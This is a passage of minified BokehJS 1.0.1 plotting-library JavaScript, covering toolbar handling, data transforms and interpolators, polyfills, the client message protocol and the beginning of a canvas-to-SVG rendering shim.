r[u]||(r[u][d.type]=[]),r[u][d.type].push(d)}}for(var f=0,v=this.inspectors;f<v.length;f++){var d=v[f];d.type in e||(e[d.type]=[]),e[d.type].push(d)}for(var m=0,g=this.actions;m<g.length;m++){var d=g[m];d.type in i||(i[d.type]=[]),i[d.type].push(d)}var y=function(t,e){void 0===e&&(e=!1);var i=new M.ToolProxy({tools:t,active:e});return n._proxied_tools.push(i),i};for(var u in r){var c=this.gestures[u];for(var b in c.tools=[],r[u]){var x=r[u][b];if(0<x.length)if(\\\"multi\\\"==u)for(var w=0,k=x;w<k.length;w++){var d=k[w],S=y([d]);c.tools.push(S),this.connect(S.properties.active.change,this._active_change.bind(this,S))}else{var S=y(x);c.tools.push(S),this.connect(S.properties.active.change,this._active_change.bind(this,S))}}}for(var b in this.actions=[],i){var x=i[b];if(\\\"CustomAction\\\"==b)for(var C=0,T=x;C<T.length;C++){var d=T[C];this.actions.push(y([d]))}else 0<x.length&&this.actions.push(y(x))}for(var b in this.inspectors=[],e){var x=e[b];0<x.length&&this.inspectors.push(y(x,!0))}for(var A in this.gestures){var c=this.gestures[A];0!=c.tools.length&&(c.tools=E.sortBy(c.tools,function(t){return t.default_order}),\\\"pinch\\\"!=A&&\\\"scroll\\\"!=A&&\\\"multi\\\"!=A&&(c.tools[0].active=!0))}},t}(s.ToolbarBase);(i.ProxyToolbar=f).initClass();var v=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.model.toolbar.toolbar_location=this.model.toolbar_location,this._toolbar_views={},d.build_views(this._toolbar_views,[this.model.toolbar],{parent:this})},t.prototype.remove=function(){d.remove_views(this._toolbar_views),e.prototype.remove.call(this)},t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-toolbar-box\\\")},t.prototype.render=function(){e.prototype.render.call(this);var t=this._toolbar_views[this.model.toolbar.id];t.render(),o.empty(this.el),this.el.appendChild(t.el)},t.prototype.get_width=function(){return this.model.toolbar.vertical?30:null},t.prototype.get_height=function(){return this.model.toolbar.horizontal?30:null},t}(p.LayoutDOMView);i.ToolbarBoxView=v;var m=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolbarBox\\\",this.prototype.default_view=v,this.define({toolbar:[r.Instance],toolbar_location:[r.Location,\\\"right\\\"]})},Object.defineProperty(t.prototype,\\\"sizing_mode\\\",{get:function(){switch(this.toolbar_location){case\\\"above\\\":case\\\"below\\\":return\\\"scale_width\\\";case\\\"left\\\":case\\\"right\\\":return\\\"scale_height\\\"}},enumerable:!0,configurable:!0}),t}(p.LayoutDOM);(i.ToolbarBox=m).initClass()},function(t,e,i){var r=t(21),o=t(185),s=t(186);i.compute_renderers=function(t,e,i){return null==t?[]:(n=\\\"auto\\\"==t?e.filter(function(t){return t instanceof o.GlyphRenderer||t instanceof s.GraphRenderer}):t,0<i.length&&(n=n.filter(function(t){return r.includes(i,t.name)})),n);var n}},function(i,t,e){var n=i(391),r=i(279),o=i(15),s=i(32),a=i(38),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CustomJSTransform\\\",this.define({args:[o.Any,{}],func:[o.String,\\\"\\\"],v_func:[o.String,\\\"\\\"],use_strict:[o.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"names\\\",{get:function(){return s.keys(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),t.prototype._make_transform=function(t,e){var i=this.use_strict?a.use_strict(e):e;return new(Function.bind.apply(Function,[void 0].concat(this.names,[t,\\\"require\\\",\\\"exports\\\",i])))},Object.defineProperty(t.prototype,\\\"scalar_transform\\\",{get:function(){return this._make_transform(\\\"x\\\",this.func)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"vector_transform\\\",{get:function(){return this._make_transform(\\\"xs\\\",this.v_func)},enumerable:!0,configurable:!0}),t.prototype.compute=function(t){return this.scalar_transform.apply(this,this.values.concat([t,i,{}]))},t.prototype.v_compute=function(t){return this.vector_transform.apply(this,this.values.concat([t,i,{}]))},t}(r.Transform);(e.CustomJSTransform=l).initClass()},function(t,e,i){var n=t(391),r=t(279),o=t(181),s=t(15),a=t(44),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Dodge\\\",this.define({value:[s.Number,0],range:[s.Instance]})},t.prototype.v_compute=function(t){var e;if(this.range instanceof o.FactorRange)e=this.range.v_synthetic(t);else{if(!a.isArrayableOf(t,a.isNumber))throw new Error(\\\"unexpected\\\");e=t}for(var i=new Float64Array(e.length),n=0;n<e.length;n++){var r=e[n];i[n]=this._compute(r)}return i},t.prototype.compute=function(t){if(this.range instanceof o.FactorRange)return this._compute(this.range.synthetic(t));if(a.isNumber(t))return this._compute(t);throw new Error(\\\"unexpected\\\")},t.prototype._compute=function(t){return t+this.value},t}(r.Transform);(i.Dodge=l).initClass()},function(t,e,i){var n=t(272);i.CustomJSTransform=n.CustomJSTransform;var r=t(273);i.Dodge=r.Dodge;var o=t(275);i.Interpolator=o.Interpolator;var s=t(276);i.Jitter=s.Jitter;var a=t(277);i.LinearInterpolator=a.LinearInterpolator;var l=t(278);i.StepInterpolator=l.StepInterpolator;var h=t(279);i.Transform=h.Transform},function(t,e,i){var n=t(391),r=t(279),o=t(15),c=t(21),_=t(44),s=function(i){function t(t){var e=i.call(this,t)||this;return e._sorted_dirty=!0,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Interpolator\\\",this.define({x:[o.Any],y:[o.Any],data:[o.Any],clip:[o.Bool,!0]})},t.prototype.connect_signals=function(){var t=this;i.prototype.connect_signals.call(this),this.connect(this.change,function(){return t._sorted_dirty=!0})},t.prototype.v_compute=function(t){for(var e=new Float64Array(t.length),i=0;i<t.length;i++){var n=t[i];e[i]=this.compute(n)}return e},t.prototype.sort=function(t){if(void 0===t&&(t=!1),this._sorted_dirty){var e,i;if(_.isString(this.x)&&_.isString(this.y)&&null!=this.data){var n=this.data.columns();if(!c.includes(n,this.x))throw new Error(\\\"The x parameter does not correspond to a valid column name defined in the data parameter\\\");if(!c.includes(n,this.y))throw new Error(\\\"The y parameter does not correspond to a valid column name defined in the data parameter\\\");e=this.data.get_column(this.x),i=this.data.get_column(this.y)}else{if(!_.isArray(this.x)||!_.isArray(this.y))throw new Error(\\\"parameters 'x' and 'y' must be both either string fields or arrays\\\");e=this.x,i=this.y}if(e.length!==i.length)throw new Error(\\\"The length for x and y do not match\\\");if(e.length<2)throw new Error(\\\"x and y must have at least two elements to support interpolation\\\");var r=[];for(var o in e)r.push({x:e[o],y:i[o]});t?r.sort(function(t,e){return t.x>e.x?-1:t.x==e.x?0:1}):r.sort(function(t,e){return t.x<e.x?-1:t.x==e.x?0:1}),this._x_sorted=[],this._y_sorted=[];for(var s=0,a=r;s<a.length;s++){var l=a[s],h=l.x,u=l.y;this._x_sorted.push(h),this._y_sorted.push(u)}this._sorted_dirty=!1}},t}(r.Transform);(i.Interpolator=s).initClass()},function(t,e,i){var n=t(391),r=t(279),o=t(181),s=t(44),a=t(15),l=t(31),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Jitter\\\",this.define({mean:[a.Number,0],width:[a.Number,1],distribution:[a.Distribution,\\\"uniform\\\"],range:[a.Instance]}),this.internal({previous_values:[a.Array]})},t.prototype.v_compute=function(t){if(null!=this.previous_values&&this.previous_values.length==t.length)return this.previous_values;var e;if(this.range instanceof o.FactorRange)e=this.range.v_synthetic(t);else{if(!s.isArrayableOf(t,s.isNumber))throw new Error(\\\"unexpected\\\");e=t}for(var i=new Float64Array(e.length),n=0;n<e.length;n++){var r=e[n];i[n]=this._compute(r)}return this.previous_values=i},t.prototype.compute=function(t){if(this.range instanceof o.FactorRange)return this._compute(this.range.synthetic(t));if(s.isNumber(t))return this._compute(t);throw new Error(\\\"unexpected\\\")},t.prototype._compute=function(t){switch(this.distribution){case\\\"uniform\\\":return t+this.mean+(l.random()-.5)*this.width;case\\\"normal\\\":return t+l.rnorm(this.mean,this.width)}},t}(r.Transform);(i.Jitter=h).initClass()},function(t,e,i){var n=t(391),s=t(21),r=t(275),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LinearInterpolator\\\"},t.prototype.compute=function(e){if(this.sort(!1),this.clip){if(e<this._x_sorted[0]||e>this._x_sorted[this._x_sorted.length-1])return NaN}else{if(e<this._x_sorted[0])return this._y_sorted[0];if(e>this._x_sorted[this._x_sorted.length-1])return this._y_sorted[this._y_sorted.length-1]}if(e==this._x_sorted[0])return this._y_sorted[0];var t=s.findLastIndex(this._x_sorted,function(t){return t<e}),i=this._x_sorted[t],n=this._x_sorted[t+1],r=this._y_sorted[t],o=this._y_sorted[t+1];return r+(e-i)/(n-i)*(o-r)},t}(r.Interpolator);(i.LinearInterpolator=o).initClass()},function(t,e,i){var n=t(391),r=t(275),o=t(15),s=t(21),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"StepInterpolator\\\",this.define({mode:[o.StepMode,\\\"after\\\"]})},t.prototype.compute=function(e){if(this.sort(!1),this.clip){if(e<this._x_sorted[0]||e>this._x_sorted[this._x_sorted.length-1])return NaN}else{if(e<this._x_sorted[0])return this._y_sorted[0];if(e>this._x_sorted[this._x_sorted.length-1])return this._y_sorted[this._y_sorted.length-1]}var t;switch(this.mode){case\\\"after\\\":t=s.findLastIndex(this._x_sorted,function(t){return t<=e});break;case\\\"before\\\":t=s.findIndex(this._x_sorted,function(t){return e<=t});break;case\\\"center\\\":var i=this._x_sorted.map(function(t){return Math.abs(t-e)}),n=s.min(i);t=s.findIndex(i,function(t){return n===t});break;default:throw new Error(\\\"unknown mode: \\\"+this.mode)}return-1!=t?this._y_sorted[t]:NaN},t}(r.Interpolator);(i.StepInterpolator=a).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Transform\\\"},t}(r.Model);(i.Transform=o).initClass()},function(t,e,i){\\\"function\\\"!=typeof WeakMap&&t(342),Number.isInteger||(Number.isInteger=function(t){return\\\"number\\\"==typeof t&&isFinite(t)&&Math.floor(t)===t});var n,l,r,h,o=String.prototype;o.repeat||(o.repeat=function(t){if(null==this)throw new TypeError(\\\"can't convert \\\"+this+\\\" to object\\\");var e=\\\"\\\"+this;if((t=+t)!=t&&(t=0),t<0)throw new RangeError(\\\"repeat count must be non-negative\\\");if(t==1/0)throw new RangeError(\\\"repeat count must be less than infinity\\\");if(t=Math.floor(t),0==e.length||0==t)return\\\"\\\";if(e.length*t>=1<<28)throw new RangeError(\\\"repeat count must not overflow maximum string size\\\");for(var i=\\\"\\\";1==(1&t)&&(i+=e),0!=(t>>>=1);)e+=e;return i}),Array.from||(Array.from=(n=Object.prototype.toString,l=function(t){return\\\"function\\\"==typeof t||\\\"[object Function]\\\"===n.call(t)},r=Math.pow(2,53)-1,h=function(t){var e,i=(e=Number(t),isNaN(e)?0:0!==e&&isFinite(e)?(0<e?1:-1)*Math.floor(Math.abs(e)):e);return Math.min(Math.max(i,0),r)},function(t){var e=Object(t);if(null==t)throw new TypeError(\\\"Array.from requires an array-like object - not null or undefined\\\");var i,n=1<arguments.length?arguments[1]:void 0;if(void 0!==n){if(!l(n))throw new TypeError(\\\"Array.from: when provided, the second argument must be a function\\\");2<arguments.length&&(i=arguments[2])}for(var r=h(e.length),o=l(this)?Object(new this(r)):new Array(r),s=0\\n      // 13. If IsConstructor(C) is true, then\\n      ;s<r;){var a=e[s];o[s]=n?void 0===i?n(a,s):n.call(i,a,s):a,s+=1}return o.length=r,o}))},function(t,e,i){var n=t(391);n.__exportStar(t(282),i),n.__exportStar(t(283),i)},function(t,e,i){var n=t(38),r=function(){function s(t,e,i){this.header=t,this.metadata=e,this.content=i,this.buffers=[]}return s.assemble=function(t,e,i){var n=JSON.parse(t),r=JSON.parse(e),o=JSON.parse(i);return new s(n,r,o)},s.prototype.assemble_buffer=function(t,e){var i=null!=this.header.num_buffers?this.header.num_buffers:0;if(i<=this.buffers.length)throw new Error(\\\"too many buffers received, expecting #{nb}\\\");this.buffers.push([t,e])},s.create=function(t,e,i){void 0===i&&(i={});var n=s.create_header(t);return new s(n,e,i)},s.create_header=function(t){return{msgid:n.uniqueId(),msgtype:t}},s.prototype.complete=function(){return!(null==this.header||null==this.metadata||null==this.content||\\\"num_buffers\\\"in this.header&&this.buffers.length!==this.header.num_buffers)},s.prototype.send=function(t){var e=null!=this.header.num_buffers?this.header.num_buffers:0;if(0<e)throw new Error(\\\"BokehJS only supports receiving buffers, not sending\\\");var i=JSON.stringify(this.header),n=JSON.stringify(this.metadata),r=JSON.stringify(this.content);t.send(i),t.send(n),t.send(r)},s.prototype.msgid=function(){return this.header.msgid},s.prototype.msgtype=function(){return this.header.msgtype},s.prototype.reqid=function(){return this.header.reqid},s.prototype.problem=function(){return\\\"msgid\\\"in this.header?\\\"msgtype\\\"in this.header?null:\\\"No msgtype in header\\\":\\\"No msgid in header\\\"},s}();i.Message=r},function(t,e,i){var o=t(282),n=function(){function t(){this.message=null,this._partial=null,this._fragments=[],this._buf_header=null,this._current_consumer=this._HEADER}return t.prototype.consume=function(t){this._current_consumer(t)},t.prototype._HEADER=function(t){this._assume_text(t),this.message=null,this._partial=null,this._fragments=[t],this._buf_header=null,this._current_consumer=this._METADATA},t.prototype._METADATA=function(t){this._assume_text(t),this._fragments.push(t),this._current_consumer=this._CONTENT},t.prototype._CONTENT=function(t){this._assume_text(t),this._fragments.push(t);var e=this._fragments.slice(0,3),i=e[0],n=e[1],r=e[2];this._partial=o.Message.assemble(i,n,r),this._check_complete()},t.prototype._BUFFER_HEADER=function(t){this._assume_text(t),this._buf_header=t,this._current_consumer=this._BUFFER_PAYLOAD},t.prototype._BUFFER_PAYLOAD=function(t){this._assume_binary(t),this._partial.assemble_buffer(this._buf_header,t),this._check_complete()},t.prototype._assume_text=function(t){if(t instanceof ArrayBuffer)throw new Error(\\\"Expected text fragment but received binary fragment\\\")},t.prototype._assume_binary=function(t){if(!(t instanceof ArrayBuffer))throw new Error(\\\"Expected binary fragment but received text fragment\\\")},t.prototype._check_complete=function(){this._partial.complete()?(this.message=this._partial,this._current_consumer=this._HEADER):this._current_consumer=this._BUFFER_HEADER},t}();i.Receiver=n},function(t,e,i){i.safely=function(t,e){void 0===e&&(e=!1);try{return t()}catch(t){if(function(t){var e=document.createElement(\\\"div\\\");e.style.backgroundColor=\\\"#f2dede\\\",e.style.border=\\\"1px solid #a94442\\\",e.style.borderRadius=\\\"4px\\\",e.style.display=\\\"inline-block\\\",e.style.fontFamily=\\\"sans-serif\\\",e.style.marginTop=\\\"5px\\\",e.style.minWidth=\\\"200px\\\",e.style.padding=\\\"5px 5px 5px 10px\\\",e.classList.add(\\\"bokeh-error-box-into-flames\\\");var i=document.createElement(\\\"span\\\");i.style.backgroundColor=\\\"#a94442\\\",i.style.borderRadius=\\\"0px 4px 0px 0px\\\",i.style.color=\\\"white\\\",i.style.cursor=\\\"pointer\\\",i.style.cssFloat=\\\"right\\\",i.style.fontSize=\\\"0.8em\\\",i.style.margin=\\\"-6px -6px 0px 0px\\\",i.style.padding=\\\"2px 5px 4px 5px\\\",i.title=\\\"close\\\",i.setAttribute(\\\"aria-label\\\",\\\"close\\\"),i.appendChild(document.createTextNode(\\\"x\\\")),i.addEventListener(\\\"click\\\",function(){return s.removeChild(e)});var n=document.createElement(\\\"h3\\\");n.style.color=\\\"#a94442\\\",n.style.margin=\\\"8px 0px 0px 0px\\\",n.style.padding=\\\"0px\\\",n.appendChild(document.createTextNode(\\\"Bokeh Error\\\"));var r=document.createElement(\\\"pre\\\");r.style.whiteSpace=\\\"unset\\\",r.style.overflowX=\\\"auto\\\";var o=t instanceof Error?t.message:t;r.appendChild(document.createTextNode(o)),e.appendChild(i),e.appendChild(n),e.appendChild(r);var s=document.getElementsByTagName(\\\"body\\\")[0];s.insertBefore(e,s.firstChild)}(t),e)return;throw t}}},function(t,e,n){function r(){var t=document.getElementsByTagName(\\\"body\\\")[0],e=document.getElementsByClassName(\\\"bokeh-test-div\\\");1==e.length&&t.removeChild(e[0]),delete e[0];var i=document.createElement(\\\"div\\\");i.classList.add(\\\"bokeh-test-div\\\"),i.style.display=\\\"none\\\",t.insertBefore(i,t.firstChild)}n.results={},n.init=function(){r()},n.record=function(t,e){n.results[t]=e,r()},n.count=function(t){null==n.results[t]&&(n.results[t]=0),n.results[t]+=1,r()},n.clear=function(){for(var t=0,e=Object.keys(n.results);t<e.length;t++){var i=e[t];delete n.results[i]}r()}},function(t,e,i){i.version=\\\"1.0.1\\\"},function(t,e,i){!function(){\\\"use strict\\\";var _,x,p,d,a;function f(t,e){var i,n=Object.keys(e);for(i=0;i<n.length;i++)t=t.replace(new RegExp(\\\"\\\\\\\\{\\\"+n[i]+\\\"\\\\\\\\}\\\",\\\"gi\\\"),e[n[i]]);return t}function l(t){var e,i,n;if(!t)throw new Error(\\\"cannot create a random attribute name for an undefined object\\\");e=\\\"ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz\\\",i=\\\"\\\";do{for(i=\\\"\\\",n=0;n<12;n++)i+=e[Math.floor(Math.random()*e.length)]}while(t[i]);return i}a=function(t,e){var i,n,r,o={};for(t=t.split(\\\",\\\"),e=e||10,i=0;i<t.length;i+=2)n=\\\"&\\\"+t[i+1]+\\\";\\\",r=parseInt(t[i],e),o[n]=\\\"&#\\\"+r+\\\";\\\";return o[\\\"\\\\\\\\xa0\\\"]=\\\"&#160;\\\",o}(\\\"50,nbsp,51,iexcl,52,cent,53,pound,54,curren,55,yen,56,brvbar,57,sect,58,uml,59,copy,5a,ordf,5b,laquo,5c,not,5d,shy,5e,reg,5f,macr,5g,deg,5h,plusmn,5i,sup2,5j,sup3,5k,acute,5l,micro,5m,para,5n,middot,5o,cedil,5p,sup1,5q,ordm,5r,raquo,5s,frac14,5t,frac12,5u,frac34,5v,iquest,60,Agrave,61,Aacute,62,Acirc,63,Atilde,64,Auml,65,Aring,66,AElig,67,Ccedil,68,Egrave,69,Eacute,6a,Ecirc,6b,Euml,6c,Igrave,6d,Iacute,6e,Icirc,6f,Iuml,6g,ETH,6h,Ntilde,6i,Ograve,6j,Oacute,6k,Ocirc,6l,Otilde,6m,Ouml,6n,times,6o,Oslash,6p,Ugrave,6q,Uacute,6r,Ucirc,6s,Uuml,6t,Yacute,6u,THORN,6v,szlig,70,agrave,71,aacute,72,acirc,73,atilde,74,auml,75,aring,76,aelig,77,ccedil,78,egrave,79,eacute,7a,ecirc,7b,euml,7c,igrave,7d,iacute,7e,icirc,7f,iuml,7g,eth,7h,ntilde,7i,ograve,7j,oacute,7k,ocirc,7l,otilde,7m,ouml,7n,divide,7o,oslash,7p,ugrave,7q,uacute,7r,ucirc,7s,uuml,7t,yacute,7u,thorn,7v,yuml,ci,fnof,sh,Alpha,si,Beta,sj,Gamma,sk,Delta,sl,Epsilon,sm,Zeta,sn,Eta,so,Theta,sp,Iota,sq,Kappa,sr,Lambda,ss,Mu,st,Nu,su,Xi,sv,Omicron,t0,Pi,t1,Rho,t3,Sigma,t4,Tau,t5,Upsilon,t6,Phi,t7,Chi,t8,Psi,t9,Omega,th,alpha,ti,beta,tj,gamma,tk,delta,tl,epsilon,tm,zeta,tn,eta,to,theta,tp,iota,tq,kappa,tr,lambda,ts,mu,tt,nu,tu,xi,tv,omicron,u0,pi,u1,rho,u2,sigmaf,u3,sigma,u4,tau,u5,upsilon,u6,phi,u7,chi,u8,psi,u9,omega,uh,thetasym,ui,upsih,um,piv,812,bull,816,hellip,81i,prime,81j,Prime,81u,oline,824,frasl,88o,weierp,88h,image,88s,real,892,trade,89l,alefsym,8cg,larr,8ch,uarr,8ci,rarr,8cj,darr,8ck,harr,8dl,crarr,8eg,lArr,8eh,uArr,8ei,rArr,8ej,dArr,8ek,hArr,8g0,forall,8g2,part,8g3,exist,8g5,empty,8g7,nabla,8g8,isin,8g9,notin,8gb,ni,8gf,prod,8gh,sum,8gi,minus,8gn,lowast,8gq,radic,8gt,prop,8gu,infin,8h0,ang,8h7,and,8h8,or,8h9,cap,8ha,cup,8hb,int,8hk,there4,8hs,sim,8i5,cong,8i8,asymp,8j0,ne,8j1,equiv,8j4,le,8j5,ge,8k2,sub,8k3,sup,8k4,nsub,8k6,sube,8k7,supe,8kl,oplus,8kn,otimes,8l5,perp,8m5,sdot,8o8,lceil,8o9,rceil,8oa,lfloor,8ob,rfloor,8p9,lang,8pa,rang,9ea,loz,9j0,spades,9j3,clubs,9j5,hearts,9j6,diams,ai,OElig,aj,oelig,b0,Scaron,b1,scaron,bo,Yuml,m6,circ,ms,tilde,802,ensp,803,emsp,809,thinsp,80c,zwnj,80d,zwj,80e,lrm,80f,rlm,80j,ndash,80k,mdash,80o,lsquo,80p,rsquo,80q,sbquo,80s,ldquo,80t,rdquo,80u,bdquo,810,dagger,811,Dagger,81g,permil,81p,lsaquo,81q,rsaquo,85c,euro\\\",32),_={strokeStyle:{svgAttr:\\\"stroke\\\",canvas:\\\"#000000\\\",svg:\\\"none\\\",apply:\\\"stroke\\\"},fillStyle:{svgAttr:\\\"fill\\\",canvas:\\\"#000000\\\",svg:null,apply:\\\"fill\\\"},lineCap:{svgAttr:\\\"stroke-linecap\\\",canvas:\\\"butt\\\",svg:\\\"butt\\\",apply:\\\"stroke\\\"},lineJoin:{svgAttr:\\\"stroke-linejoin\\\",canvas:\\\"miter\\\",svg:\\\"miter\\\",apply:\\\"stroke\\\"},miterLimit:{svgAttr:\\\"stroke-miterlimit\\\",canvas:10,svg:4,apply:\\\"stroke\\\"},lineWidth:{svgAttr:\\\"stroke-width\\\",canvas:1,svg:1,apply:\\\"stroke\\\"},globalAlpha:{svgAttr:\\\"opacity\\\",canvas:1,svg:1,apply:\\\"fill stroke\\\"},font:{canvas:\\\"10px sans-serif\\\"},shadowColor:{canvas:\\\"#000000\\\"},shadowOffsetX:{canvas:0},shadowOffsetY:{canvas:0},shadowBlur:{canvas:0},textAlign:{canvas:\\\"start\\\"},textBaseline:{canvas:\\\"alphabetic\\\"},lineDash:{svgAttr:\\\"stroke-dasharray\\\",canvas:[],svg:null,apply:\\\"stroke\\\"}},(p=function(t,e){this.__root=t,this.__ctx=e}).prototype.addColorStop=function(t,e){var i,n=this.__ctx.__createElement(\\\"stop\\\");n.setAttribute(\\\"offset\\\",t),-1!==e.indexOf(\\\"rgba\\\")?(i=/rgba\\\\(\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d?\\\\.?\\\\d*)\\\\s*\\\\)/gi.exec(e),n.setAttribute(\\\"stop-color\\\",f(\\\"rgb({r},{g},{b})\\\",{r:i[1],g:i[2],b:i[3]})),n.setAttribute(\\\"stop-opacity\\\",i[4])):n.setAttribute(\\\"stop-color\\\",e),this.__root.appendChild(n)},d=function(t,e){this.__root=t,this.__ctx=e},(x=function(t){var e,i={width:500,height:500,enableMirroring:!1};if(1<arguments.length?((e=i).width=t,e.height=arguments[1]):e=t||i,!(this instanceof x))return new x(e);this.width=e.width||i.width,this.height=e.height||i.height,this.enableMirroring=void 0!==e.enableMirroring?e.enableMirroring:i.enableMirroring,(this.canvas=this).__document=e.document||document,e.ctx?this.__ctx=e.ctx:(this.__canvas=this.__document.createElement(\\\"canvas\\\"),this.__ctx=this.__canvas.getContext(\\\"2d\\\")),this.__setDefaultStyles(),this.__stack=[this.__getStyleState()],this.__groupStack=[],this.__root=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"svg\\\"),this.__root.setAttribute(\\\"version\\\",1.1),this.__root.setAttribute(\\\"xmlns\\\",\\\"http://www.w3.org/2000/svg\\\"),this.__root.setAttributeNS(\\\"http://www.w3.org/2000/xmlns/\\\",\\\"xmlns:xlink\\\",\\\"http://www.w3.org/1999/xlink\\\"),this.__root.setAttribute(\\\"width\\\",this.width),this.__root.setAttribute(\\\"height\\\",this.height),this.__ids={},this.__defs=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"defs\\\"),this.__root.appendChild(this.__defs),this.__currentElement=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"g\\\"),this.__root.appendChild(this.__currentElement)}).prototype.__createElement=function(t,e,i){void 0===e&&(e={});var n,r,o=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",t),s=Object.keys(e);for(i&&(o.setAttribute(\\\"fill\\\",\\\"none\\\"),o.setAttribute(\\\"stroke\\\",\\\"none\\\")),n=0;n<s.length;n++)r=s[n],o.setAttribute(r,e[r]);return o},x.prototype.__setDefaultStyles=function(){var t,e,i=Object.keys(_);for(t=0;t<i.length;t++)this[e=i[t]]=_[e].canvas},x.prototype.__applyStyleState=function(t){var e,i,n=Object.keys(t);for(e=0;e<n.length;e++)this[i=n[e]]=t[i]},x.prototype.__getStyleState=function(){var t,e,i={},n=Object.keys(_);for(t=0;t<n.length;t++)e=n[t],i[e]=this[e];return i},x.prototype.__applyStyleToCurrentElement=function(e){var t=this.__currentElement,i=this.__currentElementsToStyle;i&&(t.setAttribute(e,\\\"\\\"),t=i.element,i.children.forEach(function(t){t.setAttribute(e,\\\"\\\")}));var n,r,o,s,a,l=Object.keys(_);for(n=0;n<l.length;n++)if(r=_[l[n]],o=this[l[n]],r.apply)if(o instanceof d){if(o.__ctx)for(;o.__ctx.__defs.childNodes.length;)s=o.__ctx.__defs.childNodes[0].getAttribute(\\\"id\\\"),this.__ids[s]=s,this.__defs.appendChild(o.__ctx.__defs.childNodes[0]);t.setAttribute(r.apply,f(\\\"url(#{id})\\\",{id:o.__root.getAttribute(\\\"id\\\")}))}else if(o instanceof p)t.setAttribute(r.apply,f(\\\"url(#{id})\\\",{id:o.__root.getAttribute(\\\"id\\\")}));else if(-1!==r.apply.indexOf(e)&&r.svg!==o)if(\\\"stroke\\\"!==r.svgAttr&&\\\"fill\\\"!==r.svgAttr||-1===o.indexOf(\\\"rgba\\\")){var h=r.svgAttr;if(\\\"globalAlpha\\\"===l[n]&&(h=e+\\\"-\\\"+r.svgAttr,t.getAttribute(h)))continue;t.setAttribute(h,o)}else{a=/rgba\\\\(\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d?\\\\.?\\\\d*)\\\\s*\\\\)/gi.exec(o),t.setAttribute(r.svgAttr,f(\\\"rgb({r},{g},{b})\\\",{r:a[1],g:a[2],b:a[3]}));var u=a[4],c=this.globalAlpha;null!=c&&(u*=c),t.setAttribute(r.svgAttr+\\\"-opacity\\\",u)}},x.prototype.__closestGroupOrSvg=function(t){return\\\"g\\\"===(t=t||this.__currentElement).nodeName||\\\"svg\\\"===t.nodeName?t:this.__closestGroupOrSvg(t.parentNode)},x.prototype.getSerializedSvg=function(t){var e,i,n,r,o,s=(new XMLSerializer).serializeToString(this.__root);if(/xmlns=\\\"http:\\\\/\\\\/www\\\\.w3\\\\.org\\\\/2000\\\\/svg\\\".+xmlns=\\\"http:\\\\/\\\\/www\\\\.w3\\\\.org\\\\/2000\\\\/svg/gi.test(s)&&(s=s.replace('xmlns=\\\"http://www.w3.org/2000/svg','xmlns:xlink=\\\"http://www.w3.org/1999/xlink')),t)for(e=Object.keys(a),i=0;i<e.length;i++)n=e[i],r=a[n],(o=new RegExp(n,\\\"gi\\\")).test(s)&&(s=s.replace(o,r));return s},x.prototype.getSvg=function(){return this.__root},x.prototype.save=function(){var t=this.__createElement(\\\"g\\\"),e=this.__closestGroupOrSvg();this.__groupStack.push(e),e.appendChild(t),this.__currentElement=t,this.__stack.push(this.__getStyleState())},x.prototype.restore=function(){this.__currentElement=this.__groupStack.pop(),this.__currentElementsToStyle=null,this.__currentElement||(this.__currentElement=this.__root.childNodes[1]);var t=this.__stack.pop();this.__applyStyleState(t)},x.prototype.__addTransform=function(t){var e=this.__closestGroupOrSvg();if(0<e.childNodes.length){\\\"path\\\"===this.__currentElement.nodeName&&(this.__currentElementsToStyle||(this.__currentElementsToStyle={element:e,children:[]}),this.__currentElementsToStyle.children.push(this.__currentElement),this.__applyCurrentDefaultPath());var i=this.__createElement(\\\"g\\\");e.appendChild(i),this.__currentElement=i}var n=this.__currentElement.getAttribute(\\\"transform\\\");n?n+=\\\" \\\":n=\\\"\\\",n+=t,this.__currentElement.setAttribute(\\\"transform\\\",n)},x.prototype.scale=function(t,e){void 0===e&&(e=t),this.__addTransform(f(\\\"scale({x},{y})\\\",{x:t,y:e}))},x.prototype.rotate=function(t){var e=180*t/Math.PI;this.__addTransform(f(\\\"rotate({angle},{cx},{cy})\\\",{angle:e,cx:0,cy:0}))},x.prototype.translate=function(t,e){this.__addTransform(f(\\\"translate({x},{y})\\\",{x:t,y:e}))},x.prototype.transform=function(t,e,i,n,r,o){this.__addTransform(f(\\\"matrix({a},{b},{c},{d},{e},{f})\\\",{a:t,b:e,c:i,d:n,e:r,f:o}))},x.prototype.beginPath=function(){var t;this.__currentDefaultPath=\\\"\\\",this.__currentPosition={},t=this.__createElement(\\\"path\\\",{},!0),this.__closestGroupOrSvg().appendChild(t),this.__currentElement=t},x.prototype.__applyCurrentDefaultPath=function(){var 